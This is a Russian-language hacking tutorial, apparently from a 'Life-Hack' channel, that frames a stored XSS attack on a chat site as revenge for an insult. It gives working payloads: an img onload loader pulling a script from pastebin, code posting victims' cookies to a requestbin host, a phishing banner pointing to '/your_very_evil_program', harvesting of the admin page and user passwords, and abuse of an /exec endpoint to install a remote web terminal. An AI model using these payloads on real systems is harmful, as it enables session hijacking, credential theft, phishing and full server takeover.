Эксплуатация xss уязвимости

Эксплуатация xss уязвимости

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение 

Данная статья описывает применению xss уязвимости: 

  • Кража токена
  • Кража окружения
  • Изменения контента сайта
  • Получения доступа к системе хостинга 

Предыстория

Итак, вы зашли на чат, вас оскорбили, и теперь вы хотите отомстить. Как можно заметить из диалога можно легко отправить html, что является идеальной возможностью для xss, в реальности вы вряд ли заметите такую лазейку. 

Запускаем скрипт 

Мы имеем чат с возможностью отправки HTML. Так что давайте проверим возможность xss console.log('XSS stage 0') и не сработало.

В чём же дело? Chromium и firefox игнорируют скрипты добавленные через innerHTML.

Ок пробуем второй подход 

<img src="https://picsum.photos/200/200" onload="console.log('XSS')" /> 

В консоли вывелось XSS значит код сработал 

Теперь на pastebin создадим скрипт с которым мы и будем играться

Контент скрипта: 

console.log('Script loaded') 

Для запуска скрипта в атрибуте onload пропишем: 

s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s) 

И теперь отправляя 

<img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" /> 

все получатели просмотрят картинку и запустят скрипт 

Грабим куки 

С загрузкой скрипта мы разобрались теперь приступим к эксплуатации. Во-первых данные нужно куда-то отправить воспользуемся requestbin 

// Пример кода для отправки каких-то данных
const headers = new Headers()
headers.append("Content-Type", "application/json")

const body = { "name": "Yoda" }

const options = {
  method: "POST",
  headers,
  mode: "cors",
  body: JSON.stringify(body),
}

fetch("[URL]", options) 

Но просто отправлять один и тоже текст не интересно, давайте отправим куки 

// Пример кода для отправки каких-то данных
const headers = new Headers()
headers.append("Content-Type", "application/json")

const body = { "cookies": document.cookie }

const options = {
  method: "POST",
  headers,
  mode: "cors",
  body: JSON.stringify(body),
}

fetch("https://en9uiweslksnu.x.pipedream.net", options) 

В куках лежат токены для идентификации пользователя. В requestbin мы получаем два запроса с двумя токенами: -1067197389  1679211939

Так как мой токен 1679211939Значит токен админа -1067197389

Заменив свой токен на токен админа мы сможем писать от его имени 

Изменение контента 

Писать от имени администратора весело, но давайте немного изменим контент сайта. Добавив к нашему злостному скрипту такие строки 

let d = document.createElement('div')
d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>`
document.body.appendChild(d)

document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;') 

После того как мы от имени админ отправим такую фотку, у всех получателей появится баннер который при нажатии ведёт на наш /your_very_evil_program 

Кража окружения 

Пришло время получить доступ к админке. И так проверим что находится по адресу /admin и там нас встречает ACCESS DENIED. BURN IN FIRE, ладно подставляем токен админа в куки. И опять доступ запрещён, значит авторизация проходит каким-то другим способом. Значит запросим админку от машины админа.

Добавим в evil script: 

const  admin  =  await  (await fetch("/admin")).text() 

И затем при отправке в тело запихнуть значение админ мы получим данные /admin 

Мы получим код админки 

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Admin</title>
  </head>
  <body>
    Hello admin<br />
    <textarea id="users" rows="20" cols="100"></textarea><br />
    <button id="updUsers">Update users</button><br /><br />
    <script>
      let fetchUsrs = fetch("/users")
        .then(e => e.text())
        .then(e => (document.getElementById("users").value = e));
      document.getElementById("updUsers").onclick = () => {
        fetch("/users", {
          body: JSON.stringify({
            data: document.getElementById("users").value.toString()
          }),
          headers: {
            Accept: "application/json, text/plain, */*",
            "Content-Type": "application/json"
          },
          method: "POST"
        }).then(fetchUsrs);
      };
      function toCmd(cmd) {
        document.location =
          "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd);
      }
    </script>
    <button onclick="toCmd('free --human')">Check mem</button>
    <button onclick="toCmd('ps')">Show procs</button>
  </body>
</html> 

Что из этого можно извлечь: 

  1. Есть endpoint /users который возвращает и принимает юзеров
  2. Есть endpoint /exec?cmd который выполняет программу
  3. Оба endpoint не дают нам доступа. Так что попробуем вытащить /users 
{ 
    "admin": "VerySecurePassword", 
    "chiken": "COW+CHICKEN", 
    "user001": "agent007", 
    "justUser": "llkk", 
    "test":"12" 
} 

Итак теперь у нас есть пароль и логин всех юзеров системы и теперь логинимся под админом, мы получаем доступ к админке, а в куках появляется http-only кук который разрешает к ней доступ 

Получение доступа к системе 

Как вы помните у нас есть endpoint который запускает команду, так что теперь мы можем делать всё что хотим, но пользоваться этим не очень удобно так что запустим на сервере gritty

Теперь устанавливаем /exec?cmd=npm%20i%20gritty%202%3E%261

И запускаем /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022И по порту 8022 нам становится доступен терминал gritty 

XSS — крайне опасен

Источник


Report Page